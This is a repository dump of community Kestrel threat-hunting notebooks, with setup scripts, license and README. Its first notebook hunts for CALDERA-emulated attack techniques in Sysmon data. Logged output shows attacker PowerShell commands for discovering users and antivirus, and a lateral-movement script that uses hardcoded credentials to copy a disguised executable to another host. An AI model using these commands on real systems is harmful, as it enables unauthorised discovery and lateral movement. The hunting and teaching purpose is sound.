├── .binder ├── apt.txt ├── postBuild ├── requirements.txt └── start ├── CHANGELOG.rst ├── LICENSE.md ├── README.md ├── blackhat22 ├── 1. Start Hunt From TTPs.ipynb ├── 2. Cross-Host Campaign Discovery.ipynb ├── 3. Apply Analytics in a Hunt.ipynb └── images │ ├── caldera_lateral_movement_TTPs.png │ ├── caldera_overview_n_T1057.png │ └── spawn_TTP.png ├── config └── stixshifter.yaml ├── huntbooks ├── Lateral Movement via WMI.ipynb ├── Lsass Memory Dump Trace with Outflank-Dumpert.ipynb ├── Lsass Memory Dump via Comsvcs.dll.ipynb ├── Non-Interactive Windows Shells.ipynb ├── Windows Scheduled Tasks Hunting.ipynb └── log4shell Detection.ipynb └── tutorial ├── 0. Hello World Hunt.ipynb ├── 1. Query a Data Source.ipynb ├── 2. Inspect a Variable.ipynb ├── 3. Find Connected Entities.ipynb ├── 4. Group Entities in a Variable.ipynb ├── 5. Apply a Kestrel Analytics.ipynb ├── 6. Fork and Merge Hunt Flows.ipynb ├── 7. Save and Load a Variable.ipynb └── 9. Answers to Questions.ipynb /.binder/apt.txt: -------------------------------------------------------------------------------- 1 | # git lfs for cloning data-bucket-kestrel.git 2 | git-lfs 3 | 4 | # analytics::domainnamelookup 5 | dnsutils 6 | whois 7 | -------------------------------------------------------------------------------- /.binder/postBuild: -------------------------------------------------------------------------------- 1 | ################################ 2 | # 1. Setup Git LFS 3 | ################################ 4 | 5 | git lfs install 6 | 7 | ################################ 8 | # 2. Setup Kestrel Kernel 9 | ################################ 10 | 11 | kestrel_jupyter_setup 12 | 13 | ################################ 14 | # 3. Obtain Data 15 | ################################ 16 | 17 | git clone https://github.com/opencybersecurityalliance/data-bucket-kestrel.git 18 | 19 | # for generic huntbooks like BH22 20 | cp -r data-bucket-kestrel/stix-bundles /tmp/ 21 | 22 | # for the tutorial 23 | cp data-bucket-kestrel/stix-bundles/lab101.json /tmp/ 24 | 25 | git clone https://github.com/opencybersecurityalliance/kestrel-analytics.git 26 | 27 | cp data-bucket-kestrel/GeoLite2/GeoLite2-City.mmdb kestrel-analytics/analytics/piniponmap/ 28 | 29 | rm -rf data-bucket-kestrel 30 | 31 | ################################ 32 | # 4. Setup Configurations 33 | ################################ 34 | 35 | mkdir -p ~/.config/kestrel 36 | 37 | mv config/stixshifter.yaml ~/.config/kestrel/ 38 | ln -s ~/.config/kestrel/stixshifter.yaml huntbooks/stixshifter.yaml 39 | ln -s ~/.config/kestrel/stixshifter.yaml tutorial/stixshifter.yaml 40 | ln -s ~/.config/kestrel/stixshifter.yaml blackhat22/stixshifter.yaml 41 | 42 | rmdir config 43 | 44 | cp kestrel-analytics/pythonanalytics_sample.yaml ~/.config/kestrel/pythonanalytics.yaml 45 | 46 | ################################ 47 | # 5. Trust All Notebooks 48 | ################################ 49 | 50 | jupyter trust */*.ipynb 51 | -------------------------------------------------------------------------------- /.binder/requirements.txt: -------------------------------------------------------------------------------- 1 | kestrel-jupyter 2 | 3 | # analytics::dataexfiltration 4 | flask 5 | flask-cors 6 | tabulate 7 | 8 | # analytics::log4shell 9 | urllib3 10 | 11 | # analytics::piniponmap 12 | geoip2 13 | folium 14 | 15 | # analytics::sklearn-cluster 16 | scikit-learn 17 | gower 18 | 19 | # analytics::suspiciousscoring 20 | business-rules 21 | 22 | # analytics::attribute-plot 23 | matplotlib 24 | -------------------------------------------------------------------------------- /.binder/start: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | pushd /tmp/stix-bundles 4 | python -m http.server 6001 & 5 | popd 6 | 7 | exec "$@" 8 | -------------------------------------------------------------------------------- /CHANGELOG.rst: -------------------------------------------------------------------------------- 1 | ========= 2 | Changelog 3 | ========= 4 | 5 | All notable changes to this project will be documented in this file. 6 | 7 | The format is based on `Keep a Changelog`_. 8 | 9 | 0.1.8 (2023-11-16) 10 | ================== 11 | 12 | Changed 13 | ------- 14 | 15 | - refresh for binder 16 | 17 | 0.1.7 (2023-10-25) 18 | ================== 19 | 20 | Changed 21 | ------- 22 | 23 | - refresh binder service with kestrel-jupyter 1.8.1 24 | 25 | 0.1.6 (2023-06-14) 26 | ================== 27 | 28 | Changed 29 | ------- 30 | 31 | - refresh binder service with kestrel-lang 1.7.0 for PyPI website layout update 32 | 33 | 0.1.5 (2023-06-14) 34 | ================== 35 | 36 | Changed 37 | ------- 38 | 39 | - refresh binder service with kestrel-jupyter 1.0.9 for improved syntax highlighting 40 | 41 | 0.1.4 (2023-03-21) 42 | ================== 43 | 44 | Changed 45 | ------- 46 | 47 | - link update for Kestrel doc 1.5 48 | 49 | 0.1.3 (2023-01-11) 50 | ================== 51 | 52 | Changed 53 | ------- 54 | 55 | - refresh binder service with kestrel-lang 1.5.4 for PyPI website layout update 56 | 57 | 0.1.2 (2022-10-25) 58 | ================== 59 | 60 | Changed 61 | ------- 62 | 63 | - update blackhat and tutorial huntbooks with kestrel-lang 1.5.1 64 | 65 | 0.1.1 (2022-09-26) 66 | ================== 67 | 68 | Changed 69 | ------- 70 | 71 | - refresh binder service with kestrel-lang 1.4.2 and kestrel-jupyter 1.0.6 72 | 73 | 0.1.0 (2022-07-13) 74 | ================== 75 | 76 | Added 77 | ----- 78 | 79 | - Kestrel v1.4.0 binder service testing with large data on GitHub 80 | 81 | .. _Keep a Changelog: https://keepachangelog.com/en/1.0.0/ 82 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ 2 | 3 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 4 | 5 | 1. Definitions. 6 | 7 | "License" shall mean the terms and conditions for use, reproduction, 8 | and distribution as defined by Sections 1 through 9 of this document. 9 | 10 | "Licensor" shall mean the copyright owner or entity authorized by 11 | the copyright owner that is granting the License. 12 | 13 | "Legal Entity" shall mean the union of the acting entity and all 14 | other entities that control, are controlled by, or are under common 15 | control with that entity. For the purposes of this definition, 16 | "control" means (i) the power, direct or indirect, to cause the 17 | direction or management of such entity, whether by contract or 18 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 19 | outstanding shares, or (iii) beneficial ownership of such entity. 20 | 21 | "You" (or "Your") shall mean an individual or Legal Entity 22 | exercising permissions granted by this License. 23 | 24 | "Source" form shall mean the preferred form for making modifications, 25 | including but not limited to software source code, documentation 26 | source, and configuration files. 27 | 28 | "Object" form shall mean any form resulting from mechanical 29 | transformation or translation of a Source form, including but 30 | not limited to compiled object code, generated documentation, 31 | and conversions to other media types. 32 | 33 | "Work" shall mean the work of authorship, whether in Source or 34 | Object form, made available under the License, as indicated by a 35 | copyright notice that is included in or attached to the work 36 | (an example is provided in the Appendix below). 37 | 38 | "Derivative Works" shall mean any work, whether in Source or Object 39 | form, that is based on (or derived from) the Work and for which the 40 | editorial revisions, annotations, elaborations, or other modifications 41 | represent, as a whole, an original work of authorship. For the purposes 42 | of this License, Derivative Works shall not include works that remain 43 | separable from, or merely link (or bind by name) to the interfaces of, 44 | the Work and Derivative Works thereof. 45 | 46 | "Contribution" shall mean any work of authorship, including 47 | the original version of the Work and any modifications or additions 48 | to that Work or Derivative Works thereof, that is intentionally 49 | submitted to Licensor for inclusion in the Work by the copyright owner 50 | or by an individual or Legal Entity authorized to submit on behalf of 51 | the copyright owner. For the purposes of this definition, "submitted" 52 | means any form of electronic, verbal, or written communication sent 53 | to the Licensor or its representatives, including but not limited to 54 | communication on electronic mailing lists, source code control systems, 55 | and issue tracking systems that are managed by, or on behalf of, the 56 | Licensor for the purpose of discussing and improving the Work, but 57 | excluding communication that is conspicuously marked or otherwise 58 | designated in writing by the copyright owner as "Not a Contribution." 59 | 60 | "Contributor" shall mean Licensor and any individual or Legal Entity 61 | on behalf of whom a Contribution has been received by Licensor and 62 | subsequently incorporated within the Work. 63 | 64 | 2. Grant of Copyright License. Subject to the terms and conditions of 65 | this License, each Contributor hereby grants to You a perpetual, 66 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 67 | copyright license to reproduce, prepare Derivative Works of, 68 | publicly display, publicly perform, sublicense, and distribute the 69 | Work and such Derivative Works in Source or Object form. 70 | 71 | 3. Grant of Patent License. Subject to the terms and conditions of 72 | this License, each Contributor hereby grants to You a perpetual, 73 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 74 | (except as stated in this section) patent license to make, have made, 75 | use, offer to sell, sell, import, and otherwise transfer the Work, 76 | where such license applies only to those patent claims licensable 77 | by such Contributor that are necessarily infringed by their 78 | Contribution(s) alone or by combination of their Contribution(s) 79 | with the Work to which such Contribution(s) was submitted. If You 80 | institute patent litigation against any entity (including a 81 | cross-claim or counterclaim in a lawsuit) alleging that the Work 82 | or a Contribution incorporated within the Work constitutes direct 83 | or contributory patent infringement, then any patent licenses 84 | granted to You under this License for that Work shall terminate 85 | as of the date such litigation is filed. 86 | 87 | 4. Redistribution. You may reproduce and distribute copies of the 88 | Work or Derivative Works thereof in any medium, with or without 89 | modifications, and in Source or Object form, provided that You 90 | meet the following conditions: 91 | 92 | (a) You must give any other recipients of the Work or 93 | Derivative Works a copy of this License; and 94 | 95 | (b) You must cause any modified files to carry prominent notices 96 | stating that You changed the files; and 97 | 98 | (c) You must retain, in the Source form of any Derivative Works 99 | that You distribute, all copyright, patent, trademark, and 100 | attribution notices from the Source form of the Work, 101 | excluding those notices that do not pertain to any part of 102 | the Derivative Works; and 103 | 104 | (d) If the Work includes a "NOTICE" text file as part of its 105 | distribution, then any Derivative Works that You distribute must 106 | include a readable copy of the attribution notices contained 107 | within such NOTICE file, excluding those notices that do not 108 | pertain to any part of the Derivative Works, in at least one 109 | of the following places: within a NOTICE text file distributed 110 | as part of the Derivative Works; within the Source form or 111 | documentation, if provided along with the Derivative Works; or, 112 | within a display generated by the Derivative Works, if and 113 | wherever such third-party notices normally appear. The contents 114 | of the NOTICE file are for informational purposes only and 115 | do not modify the License. You may add Your own attribution 116 | notices within Derivative Works that You distribute, alongside 117 | or as an addendum to the NOTICE text from the Work, provided 118 | that such additional attribution notices cannot be construed 119 | as modifying the License. 120 | 121 | You may add Your own copyright statement to Your modifications and 122 | may provide additional or different license terms and conditions 123 | for use, reproduction, or distribution of Your modifications, or 124 | for any such Derivative Works as a whole, provided Your use, 125 | reproduction, and distribution of the Work otherwise complies with 126 | the conditions stated in this License. 127 | 128 | 5. Submission of Contributions. Unless You explicitly state otherwise, 129 | any Contribution intentionally submitted for inclusion in the Work 130 | by You to the Licensor shall be under the terms and conditions of 131 | this License, without any additional terms or conditions. 132 | Notwithstanding the above, nothing herein shall supersede or modify 133 | the terms of any separate license agreement you may have executed 134 | with Licensor regarding such Contributions. 135 | 136 | 6. Trademarks. This License does not grant permission to use the trade 137 | names, trademarks, service marks, or product names of the Licensor, 138 | except as required for reasonable and customary use in describing the 139 | origin of the Work and reproducing the content of the NOTICE file. 140 | 141 | 7. Disclaimer of Warranty. Unless required by applicable law or 142 | agreed to in writing, Licensor provides the Work (and each 143 | Contributor provides its Contributions) on an "AS IS" BASIS, 144 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 145 | implied, including, without limitation, any warranties or conditions 146 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 147 | PARTICULAR PURPOSE. You are solely responsible for determining the 148 | appropriateness of using or redistributing the Work and assume any 149 | risks associated with Your exercise of permissions under this License. 150 | 151 | 8. Limitation of Liability. In no event and under no legal theory, 152 | whether in tort (including negligence), contract, or otherwise, 153 | unless required by applicable law (such as deliberate and grossly 154 | negligent acts) or agreed to in writing, shall any Contributor be 155 | liable to You for damages, including any direct, indirect, special, 156 | incidental, or consequential damages of any character arising as a 157 | result of this License or out of the use or inability to use the 158 | Work (including but not limited to damages for loss of goodwill, 159 | work stoppage, computer failure or malfunction, or any and all 160 | other commercial damages or losses), even if such Contributor 161 | has been advised of the possibility of such damages. 162 | 163 | 9. Accepting Warranty or Additional Liability. While redistributing 164 | the Work or Derivative Works thereof, You may choose to offer, 165 | and charge a fee for, acceptance of support, warranty, indemnity, 166 | or other liability obligations and/or rights consistent with this 167 | License. However, in accepting such obligations, You may act only 168 | on Your own behalf and on Your sole responsibility, not on behalf 169 | of any other Contributor, and only if You agree to indemnify, 170 | defend, and hold each Contributor harmless for any liability 171 | incurred by, or claims asserted against, such Contributor by reason 172 | of your accepting any such warranty or additional liability. 173 | 174 | In addition to the above license, each Contributor also agrees in the CLA 175 | to provide the additional covenants as non-assertion covenants for any 176 | [Project Specifications](https://www.oasis-open.org/policies-guidelines/oasis-defined-terms-2017-11-03#dProj-spec) 177 | as explained in the OASIS Open Project Rules 178 | [Section 15.3](https://github.com/oasis-open-projects/documentation/blob/master/board-docs/open-projects-rules.md#15-repository-and-specification-licenses) and reproduced below: 179 | 180 | **Contributor Covenant for Contributions**. As a Contributor, you irrevocably 181 | covenant that you will not assert any patent claims licensable by you that are 182 | necessarily infringed by an implementation of your contribution to the extent that 183 | contribution is included in a Project Specification approved by the Open Project 184 | to which you made the contribution, against OASIS or any other parties who 185 | the Applicable License benefits, for making, having made, using, marketing, 186 | importing, offering to sell, selling, and otherwise distributing works that 187 | Implement or Derive From your contribution. 188 | 189 | **PGB Covenant for Specifications**. For any Project Repository whose Applicable 190 | License is an Implementer-Class License, if you (or your representative) are a 191 | member of that Open Project's Governing Board, you irrevocably covenant that you 192 | will not assert any patent claims licensable by you that are necessarily infringed 193 | by an implementation of a Project Specification approved by that Open Project, 194 | and any Maintenance Deliverable approved for it, against OASIS or any other 195 | parties who the Applicable License benefits, for making, having made, using, 196 | marketing, importing, offering to sell, selling, and otherwise distributing 197 | works that Implement or Derive From that Project Specification and are compliant 198 | with all normative portions thereof. If you withdraw from the PGB, then this 199 | obligation continues to apply, but only with respect to those Project Specification 200 | Drafts approved more than 7 calendar days prior to your withdrawal, and to any 201 | Maintenance Deliverables approved for those specifications thereafter. 202 | 203 | **Scope of Implementations Benefited**. As used in this covenant, works that 204 | "Implement or Derive From" a contribution or specification include: 205 | 206 | (a) specifications to the extent derived from code 207 | 208 | (b) independent code implementations of a specification 209 | 210 | (c) independent code implementations of a specification to the extent the 211 | specification is derived from code. 212 | 213 | For purposes of this definition, "specifications" include documentation, 214 | data flows, data formats, application programming interfaces and process 215 | descriptions. 216 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Community-Contributed Kestrel Huntbooks 2 | 3 | *This repository hosts community-contributed [Kestrel](https://github.com/opencybersecurityalliance/kestrel-lang) huntflows/huntbooks/patterns.* 4 | 5 | Basics about Kestrel: 6 | 7 | - [What is Kestrel?](https://kestrel.readthedocs.io/en/latest/overview/) 8 | - [Kestrel main repo](https://github.com/opencybersecurityalliance/kestrel-lang) 9 | 10 | Three ways to view/execute/use huntbooks in this repo: 11 | 12 | ### 1. Launch a Kestrel cloud sandbox 13 | 14 | Use the following links to launch a Kestrel sandbox in public cloud to view, execute, and play with the huntbooks. 15 | 16 | - [Tutorial huntbooks](https://mybinder.org/v2/gh/opencybersecurityalliance/kestrel-huntbook/HEAD?filepath=tutorial) (the Kestrel cloud sandbox opening the [tutorial](https://github.com/opencybersecurityalliance/kestrel-huntbook/tree/main/tutorial) directory) 17 | - [Real-world huntbooks](https://mybinder.org/v2/gh/opencybersecurityalliance/kestrel-huntbook/HEAD?filepath=huntbooks) (the Kestrel cloud sandbox opening the [huntbooks](https://github.com/opencybersecurityalliance/kestrel-huntbook/tree/main/huntbooks) directory) 18 | - [Black Hat USA 2022 huntbooks](https://mybinder.org/v2/gh/opencybersecurityalliance/kestrel-huntbook/HEAD?filepath=blackhat22) (the Kestrel cloud sandbox opening the [blackhat22](https://github.com/opencybersecurityalliance/kestrel-huntbook/tree/main/blackhat22) directory) 19 | 20 | Beyond playing with the huntbooks, you can perform hunts directly in the sandbox. After launching your sandbox instance, you can connect your own data sources by creating a [stix-shifter interface config file](https://kestrel.readthedocs.io/en/latest/source/kestrel_datasource_stixshifter.interface.html) named `stixshifter.yaml` using the _text editor_ in the Jupyter UI. Any huntbook in the same directory in your sandbox instance will be able to use data sources defined in the `stixshifter.yaml`. 21 | 22 | This cloud sandbox environment is managed by [binder](https://mybinder.org/), and sandboxes will be spun up at sponsored public cloud such as [Google Cloud](https://cloud.google.com/). The uses are administered by those organizations, and subject to their own terms of use. Your data will be transmitted and analyzed in the public cloud if you perform hunts in the sandbox with data connected/retrieved from your organization's networks. 23 | 24 | The Kestrel sandbox will launch Kestrel runtime with all analytics in the [kestrel-lanalytics](https://github.com/opencybersecurityalliance/kestrel-analytics/) repo. [GeoLite2 Geolocation Data](https://dev.maxmind.com/geoip/geolite2-free-geolocation-data?lang=en) from MaxMind, which is copied into your sandbox instance to run analytics hunt step [piniponmap](https://github.com/opencybersecurityalliance/kestrel-analytics/tree/release/analytics/piniponmap), is subject to [MaxMind license](https://www.maxmind.com/en/geolite2/eula). Please confirm that your uses comply with those limitations, which include CC-BY-SA-4 terms, some prohibited uses, and an indemnity in favor of MaxMind. MaxMind's license terms are separate from [OASIS' license for Kestrel](https://github.com/opencybersecurityalliance/kestrel-lang/blob/develop/LICENSE.md). 25 | 26 | ### 2. Deploy Kestrel in your hunting environment 27 | 28 | After viewing and playing huntbooks in the Kestrel cloud sandbox environment, it is recommended to deploy Kestrel in your orgainzation's hunting environment (in your cloud or on-premises) to perform hunts where no data will be transmitted outside your orgainzation networks. 29 | 30 | How to deploy Kestrel: 31 | - [Install/setup Kestrel](https://kestrel.readthedocs.io/en/latest/installation/runtime.html) 32 | - [Connect to data sources](https://kestrel.readthedocs.io/en/latest/installation/datasource.html) 33 | - [Setup Kestrel analytics](https://kestrel.readthedocs.io/en/latest/installation/analytics.html) 34 | 35 | Examples of hunting stack setup: 36 | - [Docker services for Kestrel core, Elasticsearch, and Kestrel analytics](https://github.com/opencybersecurityalliance/hunting-stack-testing) 37 | - [Sysmon + Elasticsearch + Kestrel](https://opencybersecurityalliance.org/huntbook-persistent-threat-discovery-kestrel/) 38 | - [Sysflow/Sysmon + Elasticsearch + Kestrel](https://opencybersecurityalliance.org/kestrel-sysflow-open-hunting-stack/) 39 | 40 | ### 3. Open huntbook files on GitHub directly 41 | 42 | You can open `*.ipynb` huntbook files on GitHub. This is a fallback option if [Kestrel cloud sandbox](#1-launch-a-kestrel-cloud-sandbox) is not working. This option only allows you to view huntbooks, but not re-execute or adjust any hunt steps. And Kestrel syntax highlight is not supported with this approach. 43 | 44 | ## How to Contribute 45 | 46 | 1. Submit a PR with a description of the new huntbook to add. 47 | 2. If the huntbook has testing data, consider to put the data in [data-bucket-kestrel](https://github.com/opencybersecurityalliance/data-bucket-kestrel) 48 | 3. Get approval from one of the maintainers. 49 | 4. Share the link (and the cloud sandbox link) of your huntbook with others. 50 | -------------------------------------------------------------------------------- /blackhat22/1. Start Hunt From TTPs.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "id": "e09a7ee5", 6 | "metadata": {}, 7 | "source": [ 8 | "## Known Facts\n", 9 | "\n", 10 | "- `192.168.56.111`\n", 11 | " - Windows 10\n", 12 | " - Employee's laptop\n", 13 | " - Company email client: `WinMail.exe`\n", 14 | " - [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) -> [Elasticsearch](https://www.elastic.co/) in the cloud\n", 15 | " - Entire data is accessible through [stix-shifter](https://github.com/opencybersecurityalliance/stix-shifter)\n", 16 | " - Partial data dumped for this demo\n", 17 | " - stix-shifter data source name in this hunt: `bh22-windows-192.168.56.111`\n", 18 | "- `192.168.56.112`\n", 19 | " - Windows 10\n", 20 | " - Developer's desktop\n", 21 | " - Windows Remote Desktop and Remote Management enabled\n", 22 | " - [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) -> [Elasticsearch](https://www.elastic.co/) in the cloud\n", 23 | " - stix-shifter data source name in this hunt: `bh22-windows-192.168.56.112`\n", 24 | "- `192.168.56.91`\n", 25 | " - Linux 5.10 server with containers running\n", 26 | " - Enterprise's internal web service (`NodeJS`)\n", 27 | " - [Sysflow](https://github.com/sysflow-telemetry) -> [Elasticsearch](https://www.elastic.co/) in the cloud\n", 28 | " - stix-shifter data source name in this hunt: `bh22-linux-192.168.56.91`" 29 | ] 30 | }, 31 | { 32 | "cell_type": "markdown", 33 | "id": "d09ff33d", 34 | "metadata": {}, 35 | "source": [ 36 | "## Where to Start?\n", 37 | "\n", 38 | "How about TTPs specified in [MITRE](https://www.mitre.org/) [CALDERA](https://caldera.mitre.org/)?\n", 39 | "\n", 40 | "![CALDERA T1057](images/caldera_overview_n_T1057.png)" 41 | ] 42 | }, 43 | { 44 | "cell_type": "code", 45 | "execution_count": 1, 46 | "id": "15f340b8", 47 | "metadata": {}, 48 | "outputs": [ 49 | { 50 | "name": "stderr", 51 | "output_type": "stream", 52 | "text": [] 53 | }, 54 | { 55 | "data": { 56 | "text/html": [ 57 | "\n", 58 | " \n", 59 | " \n", 60 | " \n", 61 | " \n", 62 | " \n", 63 | " \n", 64 | " \n", 65 | " \n", 66 | " \n", 67 | " \n", 68 | " \n", 69 | " \n", 70 | " \n", 71 | " \n", 72 | " \n", 73 | " \n", 74 | " \n", 75 | " \n", 76 | " \n", 77 | "
pidnamecommand_line
2012powershell.exeNone
2012powershell.exepowershell.exe -ExecutionPolicy Bypass -C \"\\$owners = @{};gwmi win32_process |%% {\\$owners[\\$_.handle] = \\$_.getowner().user};\\$ps = get-process | select processname,Id,@{l=\\\"Owner\\\";e={\\$owners[\\$_.id.tostring()]}};foreach(\\$p in \\$ps) { if(\\$p.Owner -eq \\\"user\\\") { \\$p; }}\"
\n", 78 | "

Block Executed in 1 seconds

\n", 79 | " \n", 80 | " \n", 81 | " \n", 82 | " \n", 83 | " \n", 84 | " \n", 85 | " \n", 86 | " \n", 87 | " \n", 88 | " \n", 89 | " \n", 90 | " \n", 91 | " \n", 92 | " \n", 93 | " \n", 94 | " \n", 95 | " \n", 96 | " \n", 97 | " \n", 98 | " \n", 99 | " \n", 100 | " \n", 101 | " \n", 102 | " \n", 103 | " \n", 104 | " \n", 105 | " \n", 106 | " \n", 107 | " \n", 108 | " \n", 109 | " \n", 110 | " \n", 111 | " \n", 112 | " \n", 113 | " \n", 114 | " \n", 115 | " \n", 116 | " \n", 117 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*process*user-account*x-ecs-process*x-ecs-user*x-oca-asset*x-oca-event*
t1057_instancesprocess2399555759999

*Number of related records cached.

" 118 | ] 119 | }, 120 | "metadata": {}, 121 | "output_type": "display_data" 122 | } 123 | ], 124 | "source": [ 125 | "# TTP: Find user processes (T1057)\n", 126 | "\n", 127 | "t1057_instances = GET process\n", 128 | " FROM stixshifter://bh22-windows-192.168.56.111\n", 129 | " WHERE name = 'powershell.exe' AND command_line LIKE '%getowner%get-process%'\n", 130 | " START 2022-07-01T00:00:00Z STOP 2022-08-01T00:00:00Z\n", 131 | " \n", 132 | "DISP t1057_instances ATTR pid, name, command_line" 133 | ] 134 | }, 135 | { 136 | "cell_type": "code", 137 | "execution_count": 2, 138 | "id": "e9538127", 139 | "metadata": {}, 140 | "outputs": [ 141 | { 142 | "name": "stderr", 143 | "output_type": "stream", 144 | "text": [] 145 | }, 146 | { 147 | "data": { 148 | "text/html": [ 149 | "\n", 150 | " \n", 151 | " \n", 152 | " \n", 153 | " \n", 154 | " \n", 155 | " \n", 156 | " \n", 157 | " \n", 158 | " \n", 159 | " \n", 160 | " \n", 161 | " \n", 162 | " \n", 163 | " \n", 164 | " \n", 165 | " \n", 166 | " \n", 167 | " \n", 168 | " \n", 169 | "
pidnamecommand_line
2356powershell.exeNone
2356powershell.exepowershell.exe -ExecutionPolicy Bypass -C \"Get-WmiObject -Class Win32_UserAccount\"
\n", 170 | "\n", 171 | " \n", 172 | " \n", 173 | " \n", 174 | " \n", 175 | " \n", 176 | " \n", 177 | " \n", 178 | " \n", 179 | " \n", 180 | " \n", 181 | " \n", 182 | " \n", 183 | " \n", 184 | " \n", 185 | " \n", 186 | " \n", 187 | " \n", 188 | " \n", 189 | " \n", 190 | " \n", 191 | " \n", 192 | " \n", 193 | " \n", 194 | " \n", 195 | " \n", 196 | " \n", 197 | " \n", 198 | " \n", 199 | " \n", 200 | " \n", 201 | " \n", 202 | " \n", 203 | " \n", 204 | " \n", 205 | " \n", 206 | " \n", 207 | " \n", 208 | " \n", 209 | " \n", 210 | "
pidnamecommand_line
5380WMIC.exeNone
5380WMIC.exe\"C:\\Windows\\System32\\Wbem\\WMIC.exe\" /NAMESPACE:\\\\root\\SecurityCenter2 PATH AntiVirusProduct GET /value
6300powershell.exeNone
6300powershell.exepowershell.exe -ExecutionPolicy Bypass -C \"wmic /NAMESPACE:\\\\root\\SecurityCenter2 PATH AntiVirusProduct GET /value\"
7204powershell.exeNone
7204powershell.exepowershell.exe -ExecutionPolicy Bypass -C \"\\$NameSpace = Get-WmiObject -Namespace \\\"root\\\" -Class \\\"__Namespace\\\" | Select Name | Out-String -Stream | Select-String \\\"SecurityCenter\\\";\\$SecurityCenter = \\$NameSpace | Select-Object -First 1;Get-WmiObject -Namespace \\\"root\\\\$SecurityCenter\\\" -Class AntiVirusProduct | Select DisplayName, InstanceGuid, PathToSignedProductExe, PathToSignedReportingExe, ProductState, Timestamp | Format-List;\"
\n", 211 | "

Block Executed in 2 seconds

\n", 212 | " \n", 213 | " \n", 214 | " \n", 215 | " \n", 216 | " \n", 217 | " \n", 218 | " \n", 219 | " \n", 220 | " \n", 221 | " \n", 222 | " \n", 223 | " \n", 224 | " \n", 225 | " \n", 226 | " \n", 227 | " \n", 228 | " \n", 229 | " \n", 230 | " \n", 231 | " \n", 232 | " \n", 233 | " \n", 234 | " \n", 235 | " \n", 236 | " \n", 237 | " \n", 238 | " \n", 239 | " \n", 240 | " \n", 241 | " \n", 242 | " \n", 243 | " \n", 244 | " \n", 245 | " \n", 246 | " \n", 247 | " \n", 248 | " \n", 249 | " \n", 250 | " \n", 251 | " \n", 252 | " \n", 253 | " \n", 254 | " \n", 255 | " \n", 256 | " \n", 257 | " \n", 258 | " \n", 259 | " \n", 260 | " \n", 261 | " \n", 262 | " \n", 263 | " \n", 264 | " \n", 265 | " \n", 266 | " \n", 267 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*process*user-account*x-ecs-process*x-ecs-user*x-oca-asset*x-oca-event*
t1087_instancesprocess23131499913913131313
t1518_instancesprocess7145656363636543650505050

*Number of related records cached.

" 268 | ] 269 | }, 270 | "metadata": {}, 271 | "output_type": "display_data" 272 | } 273 | ], 274 | "source": [ 275 | "# More?\n", 276 | "\n", 277 | "# TTP: Identify local users (T1087.001)\n", 278 | "# CALDERA command on Windows: `Get-WmiObject -Class Win32_UserAccount`\n", 279 | "t1087_instances = GET process\n", 280 | " FROM stixshifter://bh22-windows-192.168.56.111\n", 281 | " WHERE command_line LIKE '%Win32_UserAccount%'\n", 282 | " START 2022-07-01T00:00:00Z STOP 2022-08-01T00:00:00Z\n", 283 | " \n", 284 | "DISP t1087_instances ATTR pid, name, command_line\n", 285 | "\n", 286 | "# TTP: Discover antivirus programs (T1518.001)\n", 287 | "# CALDERA command on Windows: `wmic /NAMESPACE:\\\\root\\SecurityCenter2 PATH AntiVirusProduct GET /value`\n", 288 | "t1518_instances = GET process\n", 289 | " FROM stixshifter://bh22-windows-192.168.56.111\n", 290 | " WHERE command_line LIKE '%AntiVirusProduct%'\n", 291 | " START 2022-07-01T00:00:00Z STOP 2022-08-01T00:00:00Z\n", 292 | " \n", 293 | "DISP t1518_instances ATTR pid, name, command_line" 294 | ] 295 | }, 296 | { 297 | "cell_type": "markdown", 298 | "id": "7bd13761", 299 | "metadata": {}, 300 | "source": [ 301 | "## This is Too Easy\n", 302 | "Can we be a little generic to match multiple related/similar TTPs?\n", 303 | "\n", 304 | "![CALDERA T1057](images/caldera_lateral_movement_TTPs.png)" 305 | ] 306 | }, 307 | { 308 | "cell_type": "code", 309 | "execution_count": 3, 310 | "id": "363e8b5e", 311 | "metadata": {}, 312 | "outputs": [ 313 | { 314 | "name": "stderr", 315 | "output_type": "stream", 316 | "text": [] 317 | }, 318 | { 319 | "data": { 320 | "text/html": [ 321 | "\n", 322 | " \n", 323 | " \n", 324 | " \n", 325 | " \n", 326 | " \n", 327 | " \n", 328 | " \n", 329 | " \n", 330 | " \n", 331 | " \n", 332 | " \n", 333 | " \n", 334 | " \n", 335 | " \n", 336 | " \n", 337 | " \n", 338 | " \n", 339 | " \n", 340 | " \n", 341 | " \n", 342 | " \n", 343 | " \n", 344 | " \n", 345 | " \n", 346 | " \n", 347 | " \n", 348 | " \n", 349 | " \n", 350 | " \n", 351 | "
pidnamecommand_line
6816powershell.exeNone
6816powershell.exepowershell.exe -ExecutionPolicy Bypass -C \"\\$job = Start-Job -ScriptBlock { \\$username = \\\"user\\\"; \\$password = \\\"redlab\\\"; \\$secstr = New-Object -TypeName System.Security.SecureString; \\$password.ToCharArray() | ForEach-Object {\\$secstr.AppendChar(\\$_)}; \\$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist \\$username, \\$secstr; \\$session = New-PSSession -ComputerName \\\"192.168.56.112\\\" -Credential \\$cred; \\$location = \\\"C:\\Users\\Public\\splunkd.exe\\\"; Copy-Item \\$location -Destination \\\"C:\\Users\\Public\\splunkd.exe\\\" -ToSession \\$session; Start-Sleep -s 5; Remove-PSSession -Session \\$session;};Receive-Job -Job \\$job -Wait;\"
7028powershell.exeNone
